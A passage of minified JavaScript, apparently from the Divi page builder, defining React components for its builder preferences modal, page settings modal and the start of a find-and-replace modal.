t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),R(t,[{key:"UNSAFE_componentWillMount",value:function(){this._handleResize(),G&&(this.throttleScroll=b()(this._handleScroll,100),W.addEventListener("scroll",this.throttleScroll),C.default.$topWindow().on("et-preview-animation-complete",this._handleResize)),W.addEventListener("resize",this._handleResize)}},{key:"componentDidMount",value:function(){C.default.topDocument().addEventListener("keydown",this._handleShortcuts),A.a.addPreviewModeUpdateListener(this._handleResize)}},{key:"componentWillUnmount",value:function(){C.default.topDocument().removeEventListener("keydown",this._handleShortcuts),A.a.removePreviewModeUpdateListener(this._handleResize),G&&(W.removeEventListener("scroll",this.throttleScroll),C.default.$topWindow().off("et-preview-animation-complete",this._handleResize)),W.removeEventListener("resize",this._handleResize)}},{key:"_getModalOptions",value:function(){return G?h()(V.modal_default_select,[0,1,2,4]):B?V.modal_default_select.slice(0,-3):V.modal_default_select}},{key:"_getPosition",value:function(e){var t=this.props.pageSettingsBarLocation,n=a()(["top-left","top-right"],t),o="top"===t,r="right"===t,i="left"===t,s=a()(["top-right","bottom-right"],t),l=S.a.responsive.phone>W.innerWidth,u=l?0:S.a.pageSettingsBar,c=l?0:30,d=!!G&&C.default.$topWindow("#et_pb_layout");if("top"===e){if(G&&d){var f=C.default.$topWindow().scrollTop();return p()(d.offset(),"top",0)+d.find("h2.hndle").outerHeight()+z-f}return i||r?S.a.topbar.desktop+c:o?u+S.a.topbar.desktop:n?u+S.a.topbar.desktop:"auto"}return"bottom"===e?G?"auto":o||n||i||r?"auto":u:"right"===e?G?U?"auto;":C.default.$topWindow().width()-(p()(d.offset(),"left",0)+d.width())+10:s||r?u:i?"auto":!(!C.default.condition("is_rtl")||C.default.condition("is_no_rtl"))&&c:"left"===e?G?U?p()(d.offset(),"left",0)+10:"auto":i?u:s||r?"auto":n?u:!(!o&&C.default.condition("is_rtl")&&!C.default.condition("is_no_rtl"))&&c:void 0}},{key:"_handleScroll",value:function(){this._handleResize()}},{key:"_handleShortcuts",value:function(e){27===e.keyCode&&E.b.buttonClick({props:{buttonName:O.a.MODAL_APP_BUTTON_CLOSE}})}},{key:"_handleResize",value:function(){var e=G?C.default.$topWindow("#et_pb_layout").offset().top:0,t=G?C.default.$topWindow().scrollTop():0,n=G?96:146;W.innerHeight<940+n+(e-t)+30?W.innerHeight<200?this.setState({height:100}):this.setState({height:W.innerHeight-n-30-e+t}):this.setState({height:940})}},{key:"_handleAnimationChange",value:function(){var e=this.props.builderAnimation;E.b.preferencesChange({builder_animation:!e})}},{key:"_handleDisabledModules",value:function(){var e=this.props.builderHideDisabledModules;E.b.preferencesChange({hide_disabled_modules:!e})}},{key:"_handleAllModalSettings",value:function(){var e=this.props.builderDisplayModalSettings;E.b.preferencesChange({builder_display_modal_settings:!e})}},{key:"_handleDummyContent",value:function(){var e=this.props.builderEnableDummyContent;E.b.preferencesChange({builder_enable_dummy_content:!e})}},{key:"_handleEventModeChange",value:function(e,t){E.b.preferencesChange({event_mode:K(t)})}},{key:"_handleViewModeChange",value:function(e,t){var n=g()(t)?$():t;E.b.preferencesChange({view_mode:n})}},{key:"_handleHistoryChange",value:function(e,t){E.b.preferencesChange({history_intervals:X(t)})}},{key:"_handlePageCreationFlowChange",value:function(e,t){E.b.preferencesChange({page_creation_flow:J(t)})}},{key:"_handleModalChange",value:function(e,t){E.b.preferencesChange({modal_preference:Y(t)})}},{key:"_handleReset",value:function(e,t,n){return e!==t&&r.a.createElement(T.a,{__onClick:n},r.a.createElement(j.a,{icon:"reset"}))}},{key:"_getViewModesList",value:function(){var e=C.default.condition("is_bfb"),t=V.view_mode_select;if(e){var n=t.wireframe;l()(t.wireframe),t=c()({wireframe:n},t)}return t}},{key:"render",value:function(){var e=this.props,t=e.builderAnimation,n=e.builderDisplayModalSettings,o=e.builderEnableDummyContent,i=e.builderEventMode,s=e.builderViewMode,l=e.builderHideDisabledModules,u=e.builderModalPreference,c=e.builderPageCreationFlow,d=e.historyIntervals,f=e.toolbarButtons,h=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["builderAnimation","builderDisplayModalSettings","builderEnableDummyContent","builderEventMode","builderViewMode","builderHideDisabledModules","builderModalPreference","builderPageCreationFlow","historyIntervals","toolbarButtons"]),m=this.state,g=m.height,v=m.width,b=A.a.getAppPreferences();return r.a.createElement(L.a,I({className:"et-fb-modal--app",forceUpdate:!0,headerButtons:[r.a.createElement(T.a,{buttonName:O.a.MODAL_APP_BUTTON_CLOSE,inverse:!0,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel},r.a.createElement(j.a,{icon:"exit",color:"#FFFFFF"}))],label:V.title,measurement:{height:g,width:v},animate:this.props.options.animate,style:{top:this._getPosition("top"),bottom:this._getPosition("bottom"),left:this._getPosition("left"),right:this._getPosition("right")}},h),r.a.createElement(P.c,{selected:!0},r.a.createElement("div",{className:"et-fb-form"},r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.toolbar),r.a.createElement(M.a,null,r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"wireframe"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,stopPropagation:!0,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("wireframe",f),icon:"wireframe"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"zoom"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,stopPropagation:!0,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("zoom",f),icon:"zoom-in"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"desktop"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("desktop",f),icon:"desktop"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"tablet"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("tablet",f),icon:"tablet"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"phone"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("phone",f),icon:"phone"}))),r.a.createElement(M.a,{style:C.default.condition("is_rtl")&&!C.default.condition("is_no_rtl")?{marginRight:3}:{marginLeft:3}},r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"hover"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("hover",f),icon:"hover"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"click"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("click",f),icon:"click"})),r.a.createElement(T.a,{additionalAttrs:{toolbarButton:"grid"},buttonName:O.a.TOGGLE_TOOLBAR_BUTTON,style:{background:"#F2F6F9"}},r.a.createElement(j.a,{color:q("grid",f),icon:"grid"})))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.view_mode),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(N.a,{name:"builder_view_mode",value:s,options:this._getViewModesList(),_onChange:this._handleViewModeChange}),s!==$()&&""!==s&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleViewModeChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.interaction_mode),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(N.a,{name:"view_mode",value:K(i,!0),options:V.interaction_mode_select,_onChange:this._handleEventModeChange}),!a()(["","hover","default"],i)&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleEventModeChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.history),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(N.a,{name:"history",value:X(d,!0),options:V.history_intervals_select,_onChange:this._handleHistoryChange}),1!==d&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleHistoryChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.modal_position),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(N.a,{name:"modal_position",value:Y(u,!0),options:this._getModalOptions(),_onChange:this._handleModalChange}),"default"!==u&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleModalChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.page_creation_flow),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(N.a,{name:"page_creation",value:J(c,!0),options:V.page_creation_flow_select,_onChange:this._handlePageCreationFlowChange}),"default"!==c&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handlePageCreationFlowChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.animation),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(D.a,{onClick:this._handleAnimationChange,options:{on:V.builder_animation_toggle.on,off:V.builder_animation_toggle.off},value:t?"on":"off"}),t!==p()(b,"builder_animation.default")&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleAnimationChange,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.disabled_modules),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(D.a,{onClick:this._handleDisabledModules,options:{on:V.hide_disabled_module_toggle.on,off:V.hide_disabled_module_toggle.off},value:l?"off":"on"}),l!==p()(b,"hide_disabled_modules.default")&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleDisabledModules,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.group_settings),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(D.a,{onClick:this._handleAllModalSettings,options:{on:V.display_modal_settings.on,off:V.display_modal_settings.off},value:n?"off":"on"}),n!==p()(b,"builder_display_modal_settings.default")&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleAllModalSettings,small:!0},r.a.createElement(j.a,{icon:"reset"}))))),r.a.createElement(x.b,null,r.a.createElement(x.c,null,V.labels.dummy_content),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(D.a,{onClick:this._handleDummyContent,options:{on:V.enable_dummy_content.on,off:V.enable_dummy_content.off},value:o?"on":"off"}),o!==p()(b,"builder_enable_dummy_content.default")&&r.a.createElement(T.a,{className:"et-fb-button--reset",__onClick:this._handleDummyContent,small:!0},r.a.createElement(j.a,{icon:"reset"}))))))))}}]),t}();Q.propTypes={},Q.defaultProps={toolbarButtons:{}},t.default=Q},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(28),a=n(22),s=n.n(a),l=n(4),u=n.n(l),c=n(7),d=n.n(c),p=n(11),f=n.n(p),h=n(8),m=n.n(h),g=n(10),v=n.n(g),b=n(38),y=n.n(b),_=n(95),k=n.n(_),w=n(34),C=n.n(w),E=n(31),O=n.n(E),S=n(47),T=n.n(S),M=n(225),x=n.n(M),P=n(15),j=n.n(P),L=n(92),N=n.n(L),D=n(94),A=n.n(D),F=n(32),I=n.n(F),R=n(84),B=n.n(R),W=n(2),V=n.n(W),H=n(27),G=n.n(H),U=n(113),z=n.n(U),q=n(19),K=n(9),$=n(77),X=n(12),Y=n(51),J=n(860),Q=n(40),Z=n(918),ee=n(3),te=n(674),ne=n(727),oe=n(0),re=n(1279),ie=n(154),ae=(n(1321),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),se=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var le={isVisible:u.a.bool,onModalChange:u.a.func},ue=void 0,ce=ETBuilderBackend.themeBuilder.isLayout?z()(q.d.pageSettings,["et_pb_post_settings_excerpt","et_pb_post_settings_image","et_pb_content_area_background_color"]):q.d.pageSettings,de=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return pe.call(t),t.displayName="ETBuilderSettingsPage",t.fields=ce,t.state={activeDescription:null,hoveredGroup:null,openedToggle:e.openedToggle||"main_content",openedContentGroup:"",openedDesignGroup:"",openedAdvancedGroup:"",filterOptions:"",filterSelected:void 0},t.tabs=j()({},ETBuilderBackend.i18n.modals.pageSettings.tabs),t.toggles=j()({},ETBuilderBackend.i18n.modals.pageSettings.toggles),t._handleFormSubmission=t._handleFormSubmission.bind(t),t._onChange=t._onChange.bind(t),t._renderPageSettingsPanel=t._renderPageSettingsPanel.bind(t),t._renderTab=t._renderTab.bind(t),t.isVisible=t.isVisible.bind(t),t._isDescriptionVisible=t._isDescriptionVisible.bind(t),t._isHoveredGroup=t._isHoveredGroup.bind(t),t._onClickHelp=t._onClickHelp.bind(t),t._onMouseEnterGroup=t._onMouseEnterGroup.bind(t),t._onMouseLeaveGroup=t._onMouseLeaveGroup.bind(t),t._onFilterInput=t._onFilterInput.bind(t),t._onFilterSelect=t._onFilterSelect.bind(t),t._isOptionMatchesFilter=t._isOptionMatchesFilter.bind(t),t._onClickToggle=t._onClickToggle.bind(t),t._handleShortcuts=t._handleShortcuts.bind(t),t.builder_display_modal_settings=ee.a.getAppPreference("builder_display_modal_settings"),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),se(n,[{key:"componentDidMount",value:function(){oe.default.topDocument().addEventListener("keydown",this._handleShortcuts),ee.a.getDroploaderPayloadCss()&&this.setState({filterOptions:""+ETBuilderBackend.i18n.modules.customCss.label})}},{key:"componentDidUpdate",value:function(e,t){this.props.isVisible&&!e.isVisible&&this.setState({filterOptions:"",openedToggle:"main_content",filterSelected:void 0,filterNotice:!1}),this.maybeShowFilterNotice()}},{key:"componentWillUnmount",value:function(){clearTimeout(ue),oe.default.topDocument().removeEventListener("keydown",this._handleShortcuts)}},{key:"_handleShortcuts",value:function(e){var t=this;if(27===e.keyCode){if(e.preventDefault(),oe.default.hasValue(this.state.filterOptions)||oe.default.hasValue(this.state.filterSelected))return void setTimeout(function(){t.setState({filterOptions:"",filterSelected:void 0})},100);X.b.pageSettingsClose()}}},{key:"isVisible",value:function(e,t){var n=[];return f()(e.depends_on,function(o){if(O()(t,o)){var r=d()(ee.a.getPageSetting(o))?"":ee.a.getPageSetting(o);d()(e.depends_show_if)||r!==e.depends_show_if||n.push(o)}}),!m()(n)}},{key:"_isDescriptionVisible",value:function(e){return this.state.activeDescription===e}},{key:"_isHoveredGroup",value:function(e){return this.state.hoveredGroup===e}},{key:"_isToggleOpened",value:function(e,t){var n="content"===t,o="design"===t,r="advanced"===t,i=Object(ie.e)(),a=i.snap,s=i.snapLocation,l=Object(ie.b)().width,u=v()(["top","bottom"],s),c=oe.default.topWindow().innerWidth<$.a.responsive.phone,d=(a&&u&&oe.default.topWindow().innerWidth>1200||l>1200)&&!c;if(t&&d){if(n)return this.state.openedContentGroup===e;if(o)return this.state.openedDesignGroup===e;if(r)return this.state.openedAdvancedGroup===e}return this.state.openedToggle===e}},{key:"_onMouseEnterGroup",value:function(e){this.setState({hoveredGroup:e})}},{key:"_onMouseLeaveGroup",value:function(e){this.state.hoveredGroup===e&&this.setState({hoveredGroup:null})}},{key:"_onClickHelp",value:function(e){var t=this.state.activeDescription===e?null:e;this.setState({activeDescription:t})}},{key:"_onClickToggle",value:function(t,n,o){var r=Object(ie.e)(),a=r.snap,s=r.snapLocation,l=Object(ie.b)().width,u=v()(["top","bottom"],s),c=oe.default.topWindow().innerWidth<$.a.responsive.phone,d=(a&&u&&oe.default.topWindow().innerWidth>1200||l>1200)&&!c,p="content"===o,f="design"===o,h="advanced"===o;if(this._isToggleOpened(t,o)&&d){if(p)return this.setState({openedContentGroup:"",openedToggle:""});if(f)return this.setState({openedDesignGroup:"",openedToggle:""});if(h)return this.setState({openedAdvancedGroup:"",openedToggle:""})}if(this._isToggleOpened(t))this.setState({openedToggle:""});else{var m=1===n?0:61*n-10;d?e(Object(i.findDOMNode)(this)).find(".et-fb-tabs__panel--"+o).animate({scrollTop:m},300):e(Object(i.findDOMNode)(this)).find(".et-fb-tabs__panel--active").animate({scrollTop:m},300),this.setState({openedToggle:t,openedContentGroup:"content"===o?t:this.state.openedContentGroup,openedDesignGroup:"design"===o?t:this.state.openedDesignGroup,openedAdvancedGroup:"advanced"===o?t:this.state.openedAdvancedGroup})}}},{key:"_onFilterInput",value:function(e){this.setState({filterOptions:e,filterNotice:!1})}},{key:"_onFilterSelect",value:function(e){this.setState({filterSelected:e,filterNotice:!1})}},{key:"_isOptionMatchesFilter",value:function(e,t,n){var o=this.state.filterOptions,r=[e.label,e.description,t,n],i=this.state.filterSelected;if(""===o&&m()(i))return!0;var a=!1;if(o&&f()(r,function(e){d()(e)||-1===e.toLowerCase().indexOf(o.toLowerCase())||(a=!0)}),"styles_modified"===i){if("content"===e.tab_slug&&"background"!==e.toggle_slug)return!1;var s=this._isOptionDefaultValue(e);a=o?a&&!s:!s}return a}},{key:"_isOptionDefaultValue",value:function(e){var t=!0,n=e.default,o=ee.a.getPageSetting(e.id);if(!d()(e.depends_on)&&!this.isVisible(e,this.fields))return!0;if(d()(e.readonly)&&"readonly"===e.readonly)return!0;switch(e.type){case"yes_no_button":t=!(!m()(n)||"off"!==o)||n===o;break;default:t=!(!m()(n)||!m()(o))||n===o}return t}},{key:"renderToggleFields",value:function(e,t){return!!this.builder_display_modal_settings||(!(""===this.state.filterOptions&&!oe.default.hasValue(this.state.filterSelected))||this._isToggleOpened(e,t))}},{key:"_getTogglesForTab",value:function(e){var t={};return f()(this.fields,function(n){var o=n.tab_slug,r=n.toggle_slug,i=n.hide_on_fb,a=n.type;o!==e||i||"hidden"===a||T()(t,r,!0)}),A()(this.toggles,function(e,n){return O()(t,n)||"unclassified"===n})}},{key:"_renderTab",value:function(e){var t=this,n=[],o=0,i=this._getTogglesForTab(e);return C()(i,function(a,l){o++;var u=I()(a)?a.title:a,c=I()(a)?a.sub_toggles:{};return r.a.createElement(ne.e,{key:l,title:u,toggleId:l,toggleGroupId:e,_onClickToggle:t._onClickToggle,isToggleOpened:t._isToggleOpened(l,e),toggleOrder:o,isLastToggle:B()(i)===o,isFilterActive:""!==t.state.filterOptions||oe.default.hasValue(t.state.filterSelected),subToggles:c},!!t.renderToggleFields(l,e)&&C()(N()(x()(t.fields),["index"]),function(o,i){var a=o;i=o.id;var c=void 0;if(o.name&&o.name.indexOf("custom_css")>=0&&(c=ee.a.getPageSetting(o.id)),!t._isOptionMatchesFilter(o,u,c))return!1;if(o.tab_slug!==e)return"";if(o.toggle_slug!==l)return!1;if(o.hide_on_fb)return"";if(d()(o.name)&&(o.name=o.id),"categories"===o.type&&(o.categories_list={},o.taxonomy_name=d()(o.taxonomy_name)?"category":o.taxonomy_name),"select_sidebar"===o.type&&(o.sidebars_list={}),d()(o.type)||!re.a.getControl(o.type))return!1;var p={isPageSetting:!0};if("codemirror"===o.type&&(p.search=t.state.filterOptions),!d()(o.depends_on_post_type)&&-1===o.depends_on_post_type.indexOf(ETBuilderBackend.postType))return n.push(o.name),!1;if(!d()(o.depends_on)&&!t.isVisible(o,t.fields))return n.push(o.name),!1;if(!d()(o.depends_on)&&y()(o.depends_on,k()(o.depends_on,n)))return!1;var f={"et-fb-settings-options":!0};f["et-fb-option--"+o.type.replace("_","-")]=!0,d()(o.depends_show_if)||(f[" et-fb-settings-option--depends-on"]=!0);var h="",m="",g=!d()(o.description)&&""!==o.description,v=G()(function(e){return oe.default.get(V()(e,"default_on_front"),oe.default.get(V()(e,"defaultValue"),oe.default.get(V()(e,"default"),"")))}(o)),b=G()(ee.a.getPageSetting(o.id)),_=v===b?"":b;d()(o.label)||""===o.label||(h=r.a.createElement(ne.c,{name:o.name,activeHelp:t._isDescriptionVisible(o.name),hoveredGroup:t._isHoveredGroup(o.name),isResetActive:oe.default.get(_,v)!==v,onClickReset:t._onClickReset,key:"et-fb-settings-option-label-"+i,onClickHelp:!!g&&t._onClickHelp},o.label)),g&&(m=r.a.createElement(ne.a,{active:t._isDescriptionVisible(o.name),key:"et-fb-settings-option-description-"+i},o.description));var w={slug:o.type,type:"field"},C=ee.a.getPageSettings();return r.a.createElement(ne.b,{name:o.name,key:"et-fb-settings-option-form-group-"+i,onMouseEnterGroup:t._onMouseEnterGroup,onMouseLeaveGroup:t._onMouseLeaveGroup,hovered:t.isOptionHovered(o.name)},h,m,r.a.createElement("div",{className:s()(f),key:"et-fb-settings-option-"+i},r.a.createElement("div",{className:"et-fb-settings-option-container",key:"et-fb-settings-option-container-"+i},r.a.createElement(re.a.getControl(o.type),j()({key:o.id,value:_,name:o.id,content:_,_onChange:t._onChange,animate:t.props.options.animate,defaultValue:v,fieldDefinition:a,matching:w,attrs:C},p,o)))))}))})}},{key:"_handleFormSubmission",value:function(e){e.preventDefault(),X.b.pageSettingsClose()}},{key:"maybeShowFilterNotice",value:function(){var t=this;this.state.filterNotice||m()(this.state.filterOptions)&&m()(this.state.filterSelected)||(clearTimeout(ue),ue=setTimeout(function(){e(Object(i.findDOMNode)(t)).find(".et-fb-form__group").length||(e(Object(i.findDOMNode)(t)).find(".et-fb-options-filter input").trigger("blur"),t.setState({filterNotice:!0}))},300))}},{key:"_renderPageSettingsPanel",value:function(e){var t={},n=["styles_modified"];return f()(ETBuilderBackend.searchFilterItems,function(e,o){d()(t[o])&&(t[o]={}),f()(e,function(e,r){n.includes(r)&&(t[o][r]=e)})}),r.a.createElement(te.c,{className:"et-fb-tabs__panel--"+e,key:"et-fb-tabs__panel--"+e,displayFilter:!0,filterValue:this.state.filterOptions,filterSelected:this.state.filterSelected,filterItems:t,filterGroups:{show_only:ETBuilderBackend.i18n.modals.show_only},filterNotice:this.state.filterNotice,_onFilterInput:this._onFilterInput,_onFilterSelect:this._onFilterSelect},r.a.createElement(ne.f,{onSubmit:this._handleFormSubmission},r.a.createElement("input",{type:"submit",className:"et-fb-hide"}),this._renderTab(e),!(this.state.filterNotice||(this.state.filterOptions||this.state.filterSelected)&&v()(["content","design"],e))&&r.a.createElement(J.a,{id:"et_pb_default"})))}},{key:"render",value:function(){var e=this,t=this.props,n=t.onModalChange,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(t,["onModalChange"]),i=ETBuilderBackend.i18n.modals.pageSettings.tabs,a=[r.a.createElement(Y.a,{block:!0,danger:!0,buttonName:K.a.PAGE_SETTINGS_CLOSE,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel},r.a.createElement(Q.a,{icon:"exit",color:"#FFFFFF"})),r.a.createElement(Y.a,{block:!0,primary:!0,alt:!0,buttonName:K.a.PAGE_SETTINGS_BUTTON_UNDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.undo},r.a.createElement(Q.a,{icon:"undo",color:"#FFFFFF"})),r.a.createElement(Y.a,{block:!0,info:!0,buttonName:K.a.PAGE_SETTINGS_BUTTON_REDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.redo},r.a.createElement(Q.a,{icon:"redo",color:"#FFFFFF"})),r.a.createElement(Y.a,{block:!0,success:!0,buttonName:K.a.PAGE_SETTINGS_EDIT,tooltip:ETBuilderBackend.i18n.tooltip.modal.save},r.a.createElement(Q.a,{icon:"check",color:"#FFFFFF"}))],l=s()({"et-fb-modal__module-settings":!0,"et-fb-modal__filter-active":""!==this.state.filterOptions||oe.default.hasValue(this.state.filterSelected),"et-fb-modal__page-settings":!0}),u=Object(ie.e)().snapLocation,c=this.props.activeTab||0;return r.a.createElement(Z.a,ae({className:l,footerButtons:a,fullscreen:Object(ie.c)(),globalUpdate:!0,label:ETBuilderBackend.i18n.modals.pageSettings.title,measurement:Object(ie.b)(),animate:this.props.options.animate,onModalChange:n,position:Object(ie.a)(),snapLocation:u},o),r.a.createElement(te.d,{selectedIndex:c},r.a.createElement(te.b,null,C()(i,function(e,t){return r.a.createElement(te.a,{key:"et-fb-modal--builder-settings-"+t},e)})),C()(i,function(t,n){return e._renderPageSettingsPanel(n)})))}},{key:"_onChange",value:function(e,t){"et_pb_enable_ab_testing"===e&&oe.default.isOff(t)&&ee.a.abIsMode("on")?X.b.abDisable():X.b.pageSettingsChange(e,t)}}]),n}(),pe=function(){var e=this;this.isOptionHovered=function(t){return e.state.hoveredGroup===t},this._onClickReset=function(t){var n=t.props;return e._onChange(n.name,"")}};de.propTypes=le,t.default=de}.call(this,n(24))},function(e,t,n){"use strict";n.r(t);var o=n(1),r=n.n(o),i=n(22),a=n.n(i),s=n(118),l=n(6),u=n(51),c=n(1287),d=n(35),p=n(40),f=n(1279),h=n(162),m=n(918),g=n(674),v=n(727),b=n(12),y=n(3),_=n(19),k=n(928),w=n(0),C=n(131),E=n(21),O=n(16),S=n(154),T=n(828),M=(n(1482),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),x=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function P(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var j=new k.a,L=new s.AllHtmlEntities,N=ETBuilderBackend.i18n.fonts,D=null,A=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));n.isOptionHovered=function(e){return n.state.hoveredGroup===e},n.displayName="ETBuilderFindReplaceModal";var o=n._getSelectedFieldValue();return n.state={find:o,replace:o,within:"this_page",throughout:"this_page",all:"off",buttonState:!1,colorPaletteMode:"saved"},n._setFindReplacei18n(),n.tabSlug="find-replace",n.isDynamic=Object(d.g)(o),n.moduleSettingMode=y.a.getModuleSettingMode(),n._onKeyDown=n._onKeyDown.bind(n),n._onClose=n._onClose.bind(n),n._onMouseEnterGroup=n._onMouseEnterGroup.bind(n),n._onMouseLeaveGroup=n._onMouseLeaveGroup.bind(n),n._onClickHelp=n._onClickHelp.bind(n),n._onChangeMap=n._onChangeMap.bind(n),n._onChangeField=n._onChangeField.bind(n),n._onChangeFieldWithin=n._onChangeFieldWithin.bind(n),n._onChangeFieldThroughout=n._onChangeFieldThroughout.bind(n),n._onFindReplace=n._onFindReplace.bind(n),n._resetOption=n._resetOption.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),x(t,[{key:"componentDidMount",value:function(){var e=this;j.reset(),Object(w.appWindow)().addEventListener("keydown",this._onKeyDown),Object(w.topWindow)().addEventListener("keydown",this._onKeyDown),y.a.addColorPaletteChangeListener(function(t){e.setState({colorPaletteMode:t})})}},{key:"componentWillUnmount",value:function(){j.reset(),Object(w.appWindow)().removeEventListener("keydown",this._onKeyDown),Object(w.topWindow)().removeEventListener("keydown",this._onKeyDown)}},{key:"_setFindReplacei18n",value:function(){D="replace_global_color"===this.props.element.intent?ETBuilderBackend.i18n.replaceGlobalColor.modal:ETBuilderBackend.i18n.findReplace.modal}},{key:"_getEditedModule",value:function(e,t){var n=Object(l.o)(this.props,"module");return Object(l.F)(e)?n:Object(l.o)(n,e,t)}},{key:"_getEditedModuleType",value:function(){return 